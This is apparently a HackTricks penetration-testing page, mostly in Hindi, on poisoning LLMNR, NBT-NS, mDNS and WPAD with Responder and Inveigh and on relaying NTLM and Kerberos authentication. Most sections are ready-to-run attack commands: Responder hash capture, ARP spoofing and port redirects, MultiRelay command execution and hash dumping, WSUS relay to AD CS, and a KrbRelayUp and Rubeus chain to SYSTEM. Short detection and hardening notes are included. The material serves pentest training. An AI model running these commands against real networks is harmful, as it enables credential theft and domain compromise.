Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 16 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Network Protocols
Local Host Resolution Protocols
- LLMNR, NBT-NS, and mDNS:
- Microsoft और अन्य ऑपरेटिंग सिस्टम DNS विफल होने पर लोकल नाम रिज़ोल्यूशन के लिए LLMNR और NBT-NS का उपयोग करते हैं। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
- ये प्रोटोकॉल उनके अनऑथेंटिकेटेड, UDP पर ब्रॉडकास्ट प्रकृति के कारण इंटरसेप्ट और spoofing के प्रति संवेदनशील होते हैं।
- Responder का उपयोग इन प्रोटोकॉल्स को क्वेरी करने वाले होस्ट्स को फ़ोर्ज्ड रिस्पॉन्स भेजकर सेवाओं का impersonate करने के लिए किया जा सकता है।
- Further information on service impersonation using Responder can be found here.
Web Proxy Auto-Discovery Protocol (WPAD)
- WPAD ब्राउज़रों को proxy सेटिंग्स स्वतः खोजने की सुविधा देता है।
- Discovery DHCP, DNS के माध्यम से या DNS विफल होने पर LLMNR और NBT-NS पर fallback के जरिए किया जाता है।
- Responder WPAD attacks को automate कर सकता है, ग्राहकों को malicious WPAD सर्वरों की ओर निर्देशित करके।
Responder for Protocol Poisoning
- Responder एक टूल है जो LLMNR, NBT-NS, और mDNS क्वेरीज़ को poison करने के लिए उपयोग किया जाता है, क्वेरी प्रकारों के आधार पर selective responses देता है और मुख्य रूप से SMB सेवाओं को लक्षित करता है।
- यह Kali Linux में pre-installed आता है और
/etc/responder/Responder.confपर कॉन्फ़िगर किया जा सकता है। - Responder पकड़े गए hashes को स्क्रीन पर दिखाता है और उन्हें
/usr/share/responder/logsडायरेक्टरी में सेव करता है। - यह IPv4 और IPv6 दोनों को सपोर्ट करता है।
- Windows version of Responder is available here.
Running Responder
- To run Responder with default settings:
responder -I <Interface> - For more aggressive probing (with potential side effects):
responder -I <Interface> -P -r -v - Techniques to capture NTLMv1 challenges/responses for easier cracking:
responder -I <Interface> --lm --disable-ess - WPAD impersonation can be activated with:
responder -I <Interface> --wpad - NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up:
responder.py -I <interface> -Pv
DHCP Poisoning with Responder
- Spoofing DHCP responses से शिकार के routing information को स्थायी रूप से poison किया जा सकता है, जो ARP poisoning की तुलना में अधिक stealthy विकल्प हो सकता है।
- इसके लिए target नेटवर्क के configuration का सटीक ज्ञान आवश्यक होता है।
- हमला चलाने के लिए:
./Responder.py -I eth0 -Pdv - यह विधि NTLMv1/2 hashes को प्रभावी ढंग से capture कर सकती है, लेकिन नेटवर्क disruption से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।
Capturing Credentials with Responder
- Responder उपर्युक्त प्रोटोकॉल्स का उपयोग करके सेवाओं का impersonate करेगा और जब उपयोगकर्ता spoofed सेवाओं के खिलाफ authenticate करने का प्रयास करेगा तो क्रेडेंशियल्स (अक्सर NTLMv2 Challenge/Response) capture कर लेगा।
- आसान credential cracking के लिए NetNTLMv1 पर downgrade करने या ESS को disable करने का प्रयास किया जा सकता है।
यह बहुत ज़रूरी है कि इन तकनीकों का प्रयोग कानूनी और नैतिक तरीके से, उचित authorization लेकर ही किया जाए और unauthorized access या disruption से बचा जाए।
Inveigh
Inveigh Windows systems के लिए डिज़ाइन किया गया एक टूल है जो penetration testers और red teamers के लिए है। यह Responder जैसी spoofing और man-in-the-middle attacks की सुविधाएँ प्रदान करता है। यह टूल एक PowerShell स्क्रिप्ट से C# बाइनरी में विकसित हुआ है, और मुख्य संस्करण हैं Inveigh और InveighZero। विस्तृत पैरामीटर और निर्देशों के लिए wiki देखें।
Inveigh को PowerShell के माध्यम से चलाया जा सकता है:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
या C# binary के रूप में निष्पादित किया गया:
Inveigh.exe
NTLM Relay Attack
यह हमला SMB authentication sessions का उपयोग करके लक्ष्य मशीन तक पहुँच बनाता है, और सफल होने पर system shell प्रदान करता है। प्रमुख पूर्व-आवश्यकताएँ हैं:
- प्रमाणीकृत user के पास relayed host पर Local Admin access होना चाहिए।
- SMB signing disabled होना चाहिए।
445 Port Forwarding and Tunneling
जहाँ सीधे नेटवर्क कनेक्शन संभव नहीं है, वहाँ port 445 का ट्रैफ़िक forward और tunnel किया जाना चाहिए। Tools जैसे PortBender port 445 ट्रैफ़िक को किसी अन्य पोर्ट पर redirect करने में मदद करते हैं, जो तब आवश्यक होता है जब Local Admin access ड्राइवर लोड करने के लिए उपलब्ध हो।
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
NTLM Relay Attack के लिए अन्य टूल
- Metasploit: proxies, local और remote host विवरण के साथ सेटअप करें।
- smbrelayx: SMB sessions relay करने, commands execute करने या backdoors deploy करने के लिए एक Python script।
- MultiRelay: Responder suite का एक tool जो specific users या सभी users को relay कर सकता है, commands execute कर सकता है, या hashes dump कर सकता है।
प्रत्येक tool को आवश्यकता होने पर SOCKS proxy के माध्यम से चलने के लिए configure किया जा सकता है, जिससे indirect network access के बावजूद भी attacks संभव होते हैं।
MultiRelay ऑपरेशन
MultiRelay को /usr/share/responder/tools directory से execute किया जाता है, जो specific IPs या users को target करता है।
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
ये tools और techniques विविध नेटवर्क वातावरणों में NTLM Relay attacks करने के लिए एक व्यापक सेट बनाते हैं।
WSUS HTTP (8530) का दुरुपयोग करके NTLM Relay to LDAP/SMB/AD CS (ESC8)
WSUS clients अपने update server के साथ NTLM over HTTP (8530) या HTTPS (8531) का उपयोग करके authenticate करते हैं। जब HTTP enabled होता है, तो स्थानीय सेगमेंट पर periodic client check-ins को मजबूर या intercept करके ntlmrelayx के साथ LDAP/LDAPS/SMB या AD CS HTTP endpoints (ESC8) पर बिना किसी hash-cracking के relay किया जा सकता है। यह सामान्य update ट्रैफ़िक में मिल जाता है और अक्सर machine-account authentications (HOST$) देता है।
क्या देखें
- GPO/registry कॉन्फ़िगरेशन HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate और ...\WindowsUpdate\AU के तहत:
- WUServer (उदा., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled और DetectionFrequency (hours)
- WSUS SOAP endpoints जो clients HTTP पर उपयोग करते हैं:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- डिफ़ॉल्ट पोर्ट्स: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- बिना प्रमाणीकरण
- listeners के लिए scan करें: nmap -sSVC -Pn --open -p 8530,8531 -iL
- L2 MITM के जरिए HTTP WSUS ट्रैफ़िक को sniff करें और सक्रिय clients/endpoints को wsusniff.py के साथ लॉग करें ( केवल HTTP, जब तक आप clients को आपकी TLS cert पर भरोसा करवा न सकें)।
- प्रमाणीकरण के साथ
- SYSVOL GPOs को MANSPIDER + regpol के साथ parse करके WSUS keys खोजें (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer का सार देता है)।
- hosts से बड़े पैमाने पर या लोकल से endpoints query करें (NetExec):
nxc smb
-u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
MITM के लिए पोज़िशन लें (same L2) ताकि कोई client WSUS server को आपको resolve करे (ARP/DNS poisoning, Bettercap, mitm6, आदि)। arpspoof के साथ उदाहरण: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
पोर्ट 8530 को अपने relay listener पर redirect करें (वैकल्पिक, सुविधाजनक): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
HTTP listener के साथ ntlmrelayx शुरू करें (HTTP listener के लिए Impacket support चाहिए; नीचे PRs देखें): ntlmrelayx.py -t ldap://
-smb2support -socks --keep-relaying --http-port 8530
अन्य सामान्य लक्ष्य:
- SMB पर relay करें (यदि signing off है) exec/dump के लिए: -t smb://
- LDAPS पर relay करें डायरेक्टरी बदलावों के लिए (उदा., RBCD): -t ldaps://
- AD CS web enrollment (ESC8) पर relay करके cert बनवाएँ और बाद में Schannel/PKINIT से authenticate करें:
ntlmrelayx.py --http-port 8530 -t http://
/certsrv/certfnsh.asp --adcs --no-http-server AD CS के Abuse paths और tooling के बारे में गहराई से देखने के लिए AD CS पेज देखें:
-
किसी client check-in को trigger करें या schedule का इंतज़ार करें। एक client से: wuauclt.exe /detectnow या Windows Update UI का उपयोग करें (Check for updates)।
-
प्रमाणीकृत SOCKS sessions का उपयोग करें (यदि -socks) या post-exploitation के लिए direct relay परिणामों का इस्तेमाल करें (LDAP changes, SMB ops, या बाद के authentication के लिए AD CS certificate जारी करना)।
HTTPS प्रतिबंध (8531)
- यदि clients आपकी certificate पर भरोसा नहीं करते तो WSUS पर HTTPS का passive interception प्रभावहीन है। एक trusted cert या अन्य TLS break के बिना, WSUS HTTPS ट्रैफ़िक से NTLM handshake को harvest/relay नहीं किया जा सकता।
नोट्स
- WSUS को deprecated घोषित किया गया था पर यह अभी भी व्यापक रूप से तैनात है; HTTP (8530) कई वातावरणों में अभी भी सामान्य है।
- उपयोगी सहायक टूल: wsusniff.py (HTTP WSUS check-ins देखें), wsuspider.sh (GPOs से WUServer/WUStatusServer enumerate करें), NetExec reg-query बड़े पैमाने पर।
- Impacket ने ntlmrelayx के लिए HTTP listener support PR #2034 में पुनर्स्थापित किया (मूल रूप से PR #913 में जोड़ा गया था)।
Force NTLM Logins
Windows में आप कुछ privileged accounts को arbitrary machines पर authenticate करने के लिए मजबूर कर सकते हैं। कैसे करें जानने के लिए नीचे दी गई पेज पढ़ें:
Force NTLM Privileged Authentication
Kerberos Relay attack
एक Kerberos relay attack एक AP-REQ ticket चुराता है एक service से और उसी कंप्यूटर-account key साझा करने वाली दूसरी service के खिलाफ फिर से उपयोग करता है (क्योंकि दोनों SPNs एक ही $ machine account पर होते हैं)। यह तब भी काम करता है जब SPNs की service classes अलग हों (उदा. CIFS/ → LDAP/) क्योंकि उस टिकट को decrypt करने वाली key मशीन का NT hash है, SPN string खुद नहीं, और SPN string signature का हिस्सा नहीं होता।
NTLM relay के विपरीत, यह hop उसी host तक सीमित है पर अगर आप किसी ऐसे protocol को target करें जो LDAP में लिखने देता है, तो आप chain कर सकते हैं Resource-Based Constrained Delegation (RBCD) या AD CS enrollment में और एक ही बार में NT AUTHORITY\SYSTEM को pop कर सकते हैं।
इस attack के बारे में विस्तृत जानकारी के लिए देखें:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| टोकन | उद्देश्य | रिले से प्रासंगिकता |
|---|---|---|
| TGT / AS-REQ ↔ REP | उपयोगकर्ता को KDC के सामने प्रमाणित करता है | अप्रभावित |
| Service ticket / TGS-REQ ↔ REP | एक SPN पर बाउंड; SPN owner की key से encrypted | interchangeable अगर SPNs account साझा करते हैं |
| AP-REQ | क्लाइंट service को TGS भेजता है | इसीे को हम चुराते हैं और replay करते हैं |
- टिकट्स को encrypt किया जाता है उस account की password-derived key से जो SPN का मालिक है।
- AP-REQ के अंदर Authenticator में 5-минट का timestamp होता है; उस window के अंदर replay वैध है जब तक service cache duplicate नहीं देखता।
- Windows अक्सर यह चेक नहीं करता कि टिकट में SPN string उस service से मेल खाती है जिसे आप hit कर रहे हैं, इसलिए
CIFS/HOSTके लिए टिकट आमतौर परLDAP/HOSTपर भी सही तरह से decrypt हो जाता है।
-
- Kerberos relay करने के लिए क्या सच्चा होना चाहिए
- Shared key: source और target SPNs एक ही computer account के हों (Windows servers पर डिफ़ॉल्ट)।
- No channel protection: SMB/LDAP signing बंद और HTTP/LDAPS के लिए EPA बंद।
- आप authentication intercept या coercion कर सकें: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, आदि।
- Ticket source पहले से उपयोग में न हो: रेस आप जीतें इससे पहले कि असली पैकेट पहुँचे या उसे पूरी तरह ब्लॉक करें; वरना server का replay cache Event 4649 फायर करेगा।
- आपको किसी तरह MitM प्रदर्शन करने में सक्षम होना चाहिए — संभवतः DNSAdmins group का हिस्सा होकर domain के DNS में बदलाव करने या victim के HOST फाइल को बदलने की क्षमता होना।
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 relay listener शुरू करें
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp एक ही बाइनरी में KrbRelay → LDAP → RBCD → Rubeus → SCM bypass को समाहित करता है।
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce DC को हमें एक Kerberos CIFS/DC01 टिकट भेजवाता है।
- 3.4 Relay the AP-REQ
KrbRelay SMB से GSS blob निकालता है, उसे LDAP bind में पुनः पैकेज करता है, और ldap://DC01 पर फ़ॉरवर्ड कर देता है — प्रमाणीकरण सफल हो जाता है क्योंकि वही कुंजी इसे डीक्रिप्ट कर देती है।
- 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
आपके पास अब NT AUTHORITY\SYSTEM है।
और रास्ते जिन्हें जानना उपयोगी है
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Fake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to you | सबनेट्स के पार भी काम करता है; machine creds द्वारा default रूप से |
| DCOM / MSRPC | Malicious OXID resolver forces client to auth to arbitrary SPN and port | शुद्ध local priv-esc; firewall को बायपास करता है |
| AD CS Web Enroll | Relay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTs | LDAP signing defenses को बायपास करता है |
| Shadow Credentials | Write msDS-KeyCredentialLink, then PKINIT with forged key pair | कंप्यूटर अकाउंट जोड़ने की आवश्यकता नहीं है |
समस्या निवारण
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ticket key ≠ target key | गलत host/SPN |
KRB_AP_ERR_SKEW | Clock > 5 min offset | समय सिंक करें या w32tm का उपयोग करें |
| LDAP bind fails | Signing लागू है | AD CS path का उपयोग करें या signing अक्षम करें |
| Event 4649 spam | Service ने duplicate Authenticator देखा | original packet को block करें या race करें |
डिटेक्शन
- कुछ सेकंड के भीतर एक ही स्रोत से
CIFS/,HTTP/,LDAP/के लिए Event 4769 में वृद्धि। - सेवा पर Event 4649 replay का संकेत देता है।
- 127.0.0.1 से Kerberos logon (local SCM को relay) अत्यधिक संदिग्ध है — KrbRelayUp डॉक्स में Sigma rule के माध्यम से मैप करें।
msDS-AllowedToActOnBehalfOfOtherIdentityयाmsDS-KeyCredentialLinkगुणों में हुए बदलाव पर नज़र रखें।
हार्डनिंग
- हर सर्वर पर LDAP & SMB signing + EPA लागू करें।
- SPNs अलग रखें ताकि HTTP वही अकाउंट न हो जो CIFS/LDAP के लिए है।
- coercion vectors को patch करें (PetitPotam KB5005413, DFS, AuthIP)।
ms-DS-MachineAccountQuota = 0सेट करें ताकि rogue computer joins रोकें।- Event 4649 और अनपेक्षित loopback Kerberos logons पर alert सेट करें।
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks